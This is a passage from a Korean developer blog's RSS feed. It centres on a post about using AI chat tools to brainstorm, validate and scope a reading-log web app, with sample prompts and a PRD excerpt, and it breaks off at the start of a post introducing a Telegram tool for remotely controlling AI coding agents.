&lt;p&gt;여러분의 API에서는 어떤 상태 코드를 주로 사용하고 계신가요? 실무에서 겪은 재미있는 에러 코드 경험이 있다면 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[아이디어 검증부터 시작하기 — AI와 함께 기획하는 법]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "아이디어는 넘치는데, 뭘 만들어야 할지 모르겠다."…]]></description><link>https://blog.javapark.kr/01-idea-validation/</link><guid isPermaLink="false">https://blog.javapark.kr/01-idea-validation/</guid><pubDate>Sat, 04 Apr 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;아이디어는 넘치는데, 뭘 만들어야 할지 모르겠다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;1인 개발자라면 한 번쯤 이런 고민을 해보셨을 겁니다. 저도 그랬고, 솔직히 지금도 그렇습니다. 문제는 아이디어가 없는 게 아니라, &lt;strong&gt;어떤 아이디어가 실제로 만들 가치가 있는지&lt;/strong&gt; 판단하기 어렵다는 점이죠.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — AI를 기획 파트너로 활용하면, 혼자서도 놀라울 정도로 체계적인 기획이 가능합니다. 이번 포스팅에서는 &lt;strong&gt;아이디어 발굴부터 PRD 작성까지&lt;/strong&gt;, AI와 함께하는 1인 개발자의 기획 프로세스를 공유합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1인 개발의 현실 — 왜 기획이 가장 중요한가&lt;/h2&gt;
&lt;p&gt;1인 개발에서 가장 무서운 건 &quot;3개월 동안 만들었는데, 아무도 안 쓴다&quot;는 상황입니다. 대기업이라면 기획자, 디자이너, PM이 각각의 역할을 맡지만, 1인 개발자는 이 모든 걸 혼자 해야 합니다.&lt;/p&gt;
&lt;p&gt;그래서 &lt;strong&gt;기획 단계에서의 검증&lt;/strong&gt;이 더욱 중요합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;대기업&lt;/th&gt;
&lt;th&gt;1인 개발자&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;아이디어&lt;/td&gt;
&lt;td&gt;기획팀 브레인스토밍&lt;/td&gt;
&lt;td&gt;혼자 고민&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시장 조사&lt;/td&gt;
&lt;td&gt;리서치팀 보고서&lt;/td&gt;
&lt;td&gt;구글링 + 감&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PRD 작성&lt;/td&gt;
&lt;td&gt;PM이 작성&lt;/td&gt;
&lt;td&gt;건너뛰기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MVP 정의&lt;/td&gt;
&lt;td&gt;스프린트 플래닝&lt;/td&gt;
&lt;td&gt;&quot;일단 다 만들자&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 표를 보면 느끼셨겠지만, 1인 개발자의 기획은 대부분 &lt;strong&gt;감에 의존&lt;/strong&gt;합니다. 하지만 AI를 활용하면 이 격차를 상당 부분 좁힐 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;아이디어 브레인스토밍 — AI와 대화하며 아이디어 발굴하기&lt;/h2&gt;
&lt;h3&gt;첫 번째 프롬프트: 넓게 펼치기&lt;/h3&gt;
&lt;p&gt;아이디어가 막연할 때는, AI에게 &lt;strong&gt;제약 조건과 함께 아이디어를 요청&lt;/strong&gt;하는 것이 효과적입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;나는 1인 개발자야. 아래 조건에 맞는 사이드 프로젝트 아이디어를 10개 제안해줘.

조건:
- 혼자서 2주 안에 MVP를 만들 수 있는 규모
- Next.js + Supabase로 구현 가능
- B2C 또는 개인용 도구
- 월 구독 모델 또는 광고 수익 가능
- 이미 레드오션인 분야는 제외

각 아이디어마다 다음을 포함해줘:
1. 서비스명 (가칭)
2. 한 줄 설명
3. 타겟 사용자
4. 수익 모델
5. 기술적 난이도 (상/중/하)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 구체적인 제약 조건을 주면, AI가 훨씬 현실적인 아이디어를 제안합니다. &quot;앱 아이디어 추천해줘&quot;라고 물어보면 뻔한 답이 나오지만, &lt;strong&gt;조건을 좁히면 좁힐수록 실용적인 결과&lt;/strong&gt;가 나옵니다.&lt;/p&gt;
&lt;h3&gt;두 번째 프롬프트: 깊게 파기&lt;/h3&gt;
&lt;p&gt;10개 아이디어 중 마음에 드는 2~3개를 골랐다면, 각각에 대해 더 깊이 파봅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;독서 기록 웹앱&quot; 아이디어를 더 구체화해줘.

다음 질문에 답해줘:
1. 기존 서비스(밀리의 서재, 리디 독서노트, 북적북적)와 차별점은?
2. 핵심 기능 3가지는?
3. 사용자가 이 앱을 매일 열어볼 이유는?
4. 기술적으로 가장 까다로운 부분은?
5. 2주 안에 만들 수 있는 MVP 범위는?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 단계에서 중요한 건, AI의 답변을 &lt;strong&gt;그대로 수용하지 않는 것&lt;/strong&gt;입니다. AI는 아이디어를 정리하고 구조화하는 데 탁월하지만, &quot;이게 정말 사람들이 원하는 건가?&quot;라는 판단은 결국 본인의 몫입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;시장 조사 — AI로 경쟁 서비스 분석하고 타겟 사용자 정의하기&lt;/h2&gt;
&lt;h3&gt;경쟁 서비스 분석 프롬프트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;한국에서 사용 가능한 독서 기록/관리 서비스를 조사해줘.

각 서비스에 대해 다음을 정리해줘:
- 서비스명과 URL
- 핵심 기능
- 가격 정책
- 장점과 단점
- 사용자 리뷰에서 자주 언급되는 불만 사항

마지막에 이 시장의 전체적인 트렌드와 비어있는 틈새(gap)를 분석해줘.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;AI가 제공하는 정보는 학습 데이터 시점까지의 내용이므로, &lt;strong&gt;최신 정보는 직접 확인&lt;/strong&gt;해야 합니다. 하지만 초기 리서치의 뼈대를 잡는 데는 충분합니다.&lt;/p&gt;
&lt;h3&gt;타겟 사용자 페르소나 만들기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;독서 기록 웹앱의 타겟 사용자 페르소나를 3개 만들어줘.

각 페르소나에 포함할 항목:
- 이름 (가상)
- 나이, 직업
- 독서 습관 (월 몇 권, 선호 장르)
- 현재 독서 기록 방법
- 불편한 점 (Pain Point)
- 우리 앱에서 기대하는 것&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;페르소나를 만들어두면, 이후 기능 우선순위를 정할 때 &quot;&lt;strong&gt;이 기능이 민수(페르소나)에게 정말 필요한가?&lt;/strong&gt;&quot;라는 기준으로 판단할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;PRD 작성 — AI가 만들어주는 제품 요구사항 문서&lt;/h2&gt;
&lt;p&gt;PRD(Product Requirements Document)는 &quot;무엇을 만들 것인가&quot;를 정리한 문서입니다. 1인 개발자에게는 과하게 느껴질 수 있지만, &lt;strong&gt;PRD 없이 코딩을 시작하면 중간에 방향을 잃기 쉽습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;PRD 생성 프롬프트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;독서 기록 웹앱의 PRD를 작성해줘.

서비스 개요:
- 읽은 책을 기록하고, 독서 메모를 남기고, 읽은 책 통계를 볼 수 있는 웹앱
- ISBN 바코드 스캔으로 책 정보 자동 입력
- 월간/연간 독서 통계 대시보드

PRD에 포함할 섹션:
1. 프로젝트 개요 (목적, 배경)
2. 타겟 사용자
3. 핵심 기능 목록 (우선순위 P0/P1/P2)
4. 비기능 요구사항 (성능, 보안)
5. 기술 스택
6. 마일스톤 (2주 스프린트 기준)
7. 성공 지표 (KPI)
8. 리스크 및 대응 방안&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;AI가 생성한 PRD 예시 (일부)&lt;/h3&gt;
&lt;p&gt;아래는 실제로 Claude에게 요청해서 받은 PRD의 일부입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; 독서 기록 웹앱 PRD&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 1. 프로젝트 개요&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; 1.1 목적&lt;/span&gt;

독서 애호가들이 읽은 책을 쉽게 기록하고, 독서 습관을 추적할 수 있는
웹 애플리케이션을 개발한다.

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; 1.2 배경&lt;/span&gt;

기존 독서 기록 앱들은 대부분 모바일 중심이며,
웹에서의 사용 경험이 부족하다. 또한 독서 통계 기능이
단순 권수 집계에 그치는 경우가 많다.

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 2. 핵심 기능&lt;/span&gt;

&lt;span class=&quot;token table&quot;&gt;&lt;span class=&quot;token table-header-row&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-header important&quot;&gt; 우선순위 &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-header important&quot;&gt; 기능           &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-header important&quot;&gt; 설명                            &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token table-line&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;--------&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;--------------&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-------------------------------&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token table-data-rows&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; P0       &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 책 등록        &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; ISBN 검색으로 책 정보 자동 입력 &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; P0       &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 독서 상태 관리 &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 읽는 중/읽은 책/읽고 싶은 책    &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; P0       &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 독서 메모      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 책별 메모 및 인용구 저장        &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; P1       &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 독서 통계      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 월간/연간 독서량, 장르별 분포   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; P1       &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 바코드 스캔    &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 카메라로 ISBN 바코드 인식       &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; P2       &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 소셜 공유      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 독서 기록 공개 프로필           &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; P2       &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 독서 목표      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 연간 독서 목표 설정 및 추적     &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 PRD를 기반으로 개발을 진행하면, &quot;&lt;strong&gt;다음에 뭘 해야 하지?&lt;/strong&gt;&quot;라는 고민 없이 체계적으로 진행할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;MVP 범위 정하기 — &quot;이것만 만들자&quot; 전략&lt;/h2&gt;
&lt;p&gt;1인 개발자의 가장 큰 적은 **스코프 크리프(Scope Creep)**입니다. &quot;이 기능도 넣으면 좋겠는데...&quot;를 반복하다 보면, 영영 출시하지 못합니다.&lt;/p&gt;
&lt;h3&gt;MVP 범위 확정 프롬프트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;위 PRD 기반으로, 2주 안에 혼자서 만들 수 있는 MVP 범위를 정해줘.

조건:
- P0 기능만 포함
- 디자인은 최소한 (Tailwind CSS 기본 컴포넌트)
- 인증은 소셜 로그인(Google)만
- 배포는 Vercel
- 바코드 스캔은 MVP에서 제외 (수동 ISBN 입력으로 대체)

결과물:
1. MVP 기능 목록
2. 2주 스프린트 일정표 (일별)
3. 각 기능의 예상 소요 시간&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;AI가 만들어준 일정표를 보면 이런 식입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Week 1:
- Day 1-2: 프로젝트 세팅 + Supabase 연동 + 인증
- Day 3-4: 책 등록 (ISBN 검색 API 연동)
- Day 5: 독서 상태 관리 (읽는 중/완료/위시리스트)

Week 2:
- Day 1-2: 독서 메모 CRUD
- Day 3: 기본 대시보드 (독서 목록 뷰)
- Day 4: UI 다듬기 + 반응형
- Day 5: 배포 + 버그 수정&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;핵심은 &lt;strong&gt;과감하게 빼는 것&lt;/strong&gt;입니다. 통계 대시보드, 바코드 스캔, 소셜 공유 — 이런 건 다 v2에서 하면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 예시: &quot;독서 기록 웹앱&quot; 기획 과정 전체를 AI와 함께&lt;/h2&gt;
&lt;p&gt;이 시리즈에서는 &quot;&lt;strong&gt;독서 기록 웹앱&lt;/strong&gt;&quot;을 실제로 만들어보겠습니다. 위에서 설명한 프로세스를 그대로 따라가면서, 각 단계에서 AI를 어떻게 활용했는지 보여드리겠습니다.&lt;/p&gt;
&lt;h3&gt;전체 기획 흐름 요약&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. 아이디어 발굴
   └─ AI에게 사이드 프로젝트 아이디어 10개 요청
   └─ &quot;독서 기록 웹앱&quot; 선택

2. 아이디어 검증
   └─ 경쟁 서비스 5개 분석
   └─ 차별점 정의: &quot;웹 기반 + 깔끔한 통계 + 빠른 기록&quot;

3. 타겟 사용자 정의
   └─ 페르소나 3개 작성
   └─ 핵심 타겟: &quot;월 2-4권 읽는 20-30대 직장인&quot;

4. PRD 작성
   └─ P0/P1/P2 기능 분류
   └─ 기술 스택 확정: Next.js + Supabase + Vercel

5. MVP 범위 확정
   └─ P0 기능만 포함한 2주 스프린트
   └─ v1.0 출시 목표&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;기획에 소요된 시간&lt;/h3&gt;
&lt;p&gt;놀라운 건, 이 전체 과정이 &lt;strong&gt;약 2시간&lt;/strong&gt;이면 끝난다는 점입니다. AI 없이 혼자 했다면 최소 1-2일은 걸렸을 겁니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;AI 없이&lt;/th&gt;
&lt;th&gt;AI와 함께&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;아이디어 브레인스토밍&lt;/td&gt;
&lt;td&gt;3시간&lt;/td&gt;
&lt;td&gt;20분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;경쟁 서비스 조사&lt;/td&gt;
&lt;td&gt;4시간&lt;/td&gt;
&lt;td&gt;30분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;페르소나 작성&lt;/td&gt;
&lt;td&gt;2시간&lt;/td&gt;
&lt;td&gt;15분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PRD 작성&lt;/td&gt;
&lt;td&gt;4시간&lt;/td&gt;
&lt;td&gt;30분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MVP 범위 확정&lt;/td&gt;
&lt;td&gt;2시간&lt;/td&gt;
&lt;td&gt;15분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;합계&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;15시간&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;약 2시간&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;물론 AI가 만든 결과물을 &lt;strong&gt;검토하고 수정하는 시간&lt;/strong&gt;은 별도입니다. 하지만 백지에서 시작하는 것과 초안을 수정하는 것은 완전히 다른 난이도죠.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;기획 단계에서 AI를 잘 활용하는 팁 3가지&lt;/h2&gt;
&lt;h3&gt;1. 구체적인 제약 조건을 주세요&lt;/h3&gt;
&lt;p&gt;&quot;앱 아이디어 추천해줘&quot;보다 &quot;Next.js + Supabase로 2주 안에 만들 수 있는 B2C 웹앱 아이디어&quot;가 훨씬 좋은 결과를 냅니다.&lt;/p&gt;
&lt;h3&gt;2. 대화를 이어가세요&lt;/h3&gt;
&lt;p&gt;한 번의 프롬프트로 끝내지 말고, AI의 답변에 대해 **&quot;왜?&quot;, &quot;좀 더 구체적으로&quot;, &quot;다른 관점에서&quot;**라고 계속 질문하세요. 대화가 깊어질수록 결과물의 질이 올라갑니다.&lt;/p&gt;
&lt;h3&gt;3. AI의 답변을 맹신하지 마세요&lt;/h3&gt;
&lt;p&gt;AI는 기획의 &lt;strong&gt;도구&lt;/strong&gt;이지, 기획자가 아닙니다. 최종 판단은 항상 본인이 해야 합니다. 특히 시장 데이터는 반드시 직접 확인하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. ChatGPT와 Claude 중 기획에는 어떤 걸 쓰는 게 좋나요?&lt;/h3&gt;
&lt;p&gt;솔직히 말하면 기획 단계에서는 큰 차이가 없습니다. 다만 &lt;strong&gt;긴 문서(PRD) 작성&lt;/strong&gt;에는 Claude가 더 강하고, &lt;strong&gt;아이디어 브레인스토밍&lt;/strong&gt;에는 ChatGPT가 살짝 더 창의적인 편입니다. 저는 둘 다 번갈아 쓰면서 결과를 비교합니다.&lt;/p&gt;
&lt;h3&gt;Q2. AI가 만든 PRD를 그대로 써도 되나요?&lt;/h3&gt;
&lt;p&gt;초안으로는 충분합니다. 하지만 반드시 &lt;strong&gt;본인의 상황에 맞게 수정&lt;/strong&gt;해야 합니다. AI는 &quot;2주 안에 만들 수 있다&quot;고 했지만, 본인의 실력과 가용 시간에 따라 일정은 달라질 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Q3. 아이디어 검증을 AI로만 해도 충분한가요?&lt;/h3&gt;
&lt;p&gt;아닙니다. AI를 통한 검증은 &lt;strong&gt;1차 필터&lt;/strong&gt; 정도로 생각하세요. 실제 타겟 사용자에게 직접 물어보는 것이 가장 확실한 검증 방법입니다. 주변 지인이나 온라인 커뮤니티에 &quot;이런 앱 있으면 쓸 건가요?&quot;라고 물어보는 것만으로도 큰 인사이트를 얻을 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 사이드 프로젝트 기획할 때 AI를 어떻게 활용하고 계신가요? 댓글로 여러분만의 노하우를 공유해주세요!&lt;/p&gt;
&lt;p&gt;다음 포스팅에서는 &quot;&lt;strong&gt;설계는 AI에게 맡겨라 — ERD, API, 와이어프레임 자동화&lt;/strong&gt;&quot;를 주제로, Claude Code를 활용한 설계 프로세스를 다뤄보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[COKACDIR — 텔레그램으로 Claude Code, Codex CLI를 원격 제어하는 법]]></title><description><![CDATA[COKACDIR 텔레그램 AI 코딩 에이전트 원격 제어 커버 — Claude Code·Codex CLI 모바일 제어 안녕하세요, 자바파커입니다. "Claude Code를 쓰고 싶은데, 항상 컴퓨터 앞에 앉아 있을 수는 없잖아요." AI…]]></description><link>https://blog.javapark.kr/cokacdir-telegram-ai-coding-agent/</link><guid isPermaLink="false">https://blog.javapark.kr/cokacdir-telegram-ai-coding-agent/</guid><pubDate>Wed, 01 Apr 2026 11:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/cokacdir-telegram-ai-coding-agent.png&quot; alt=&quot;COKACDIR 텔레그램 AI 코딩 에이전트 원격 제어 커버 — Claude Code·Codex CLI 모바일 제어&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Claude Code를 쓰고 싶은데, 항상 컴퓨터 앞에 앉아 있을 수는 없잖아요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;AI 코딩 에이전트를 써보면 한 가지 아쉬운 점이 있습니다. &lt;strong&gt;내 컴퓨터 터미널에서만 쓸 수 있다&lt;/strong&gt;는 것. 외출 중에 &quot;아 그 버그 고쳐야 하는데&quot; 싶어도, 노트북을 열 수 없으면 답이 없습니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;COKACDIR을 쓰면 텔레그램 메시지 하나로 내 컴퓨터의 Claude Code를 원격 조작할 수 있습니다.&lt;/strong&gt; 새로운 AI를 설치하는 게 아니라, 이미 쓰고 있는 코딩 에이전트를 텔레그램에서 리모컨처럼 조종하는 방식입니다.&lt;/p&gt;
&lt;p&gt;저는 실제로 사내에서 봇 2개를 만들어 각각 Claude Code와 Codex CLI를 연결하고, 하나의 그룹에서 &quot;작성 → 검증&quot; 역할을 나눠 운영하고 있습니다. 직접 써본 경험까지 공유합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;COKACDIR이 뭔가?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;COKACDIR&lt;/strong&gt;(코칵디르)은 기존 AI 코딩 에이전트를 텔레그램에서 원격 제어하게 해주는 오픈소스 도구입니다.&lt;/p&gt;
&lt;p&gt;핵심 컨셉을 정리하면:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;정체&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI 코딩 에이전트 원격 제어 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;지원 에이전트&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude Code, Codex CLI, Gemini CLI, OpenCode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;조작 방식&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;텔레그램 봇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;기술 스택&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Rust 74.7%, TypeScript 22.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;바이너리 크기&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;15~20MB (단일 바이너리)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;라이선스&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://github.com/kstost/cokacdir&quot;&gt;kstost/cokacdir&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;비유하자면&lt;/strong&gt; — Claude Code가 내 컴퓨터에서 일하는 AI 개발자라면, COKACDIR은 그 개발자에게 &lt;strong&gt;텔레그램으로 업무 지시를 보내는 채널&lt;/strong&gt;입니다. AI 자체가 아니라, 기존 AI에 리모컨을 달아주는 도구입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 필요한가?&lt;/h2&gt;
&lt;h3&gt;기존 방식의 한계&lt;/h3&gt;
&lt;p&gt;Claude Code, Codex CLI 같은 코딩 에이전트는 강력하지만, &lt;strong&gt;내 컴퓨터 터미널에 직접 접속해야&lt;/strong&gt; 합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;기존 방식&lt;/th&gt;
&lt;th&gt;COKACDIR&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;외출 중 긴급 버그 수정&lt;/td&gt;
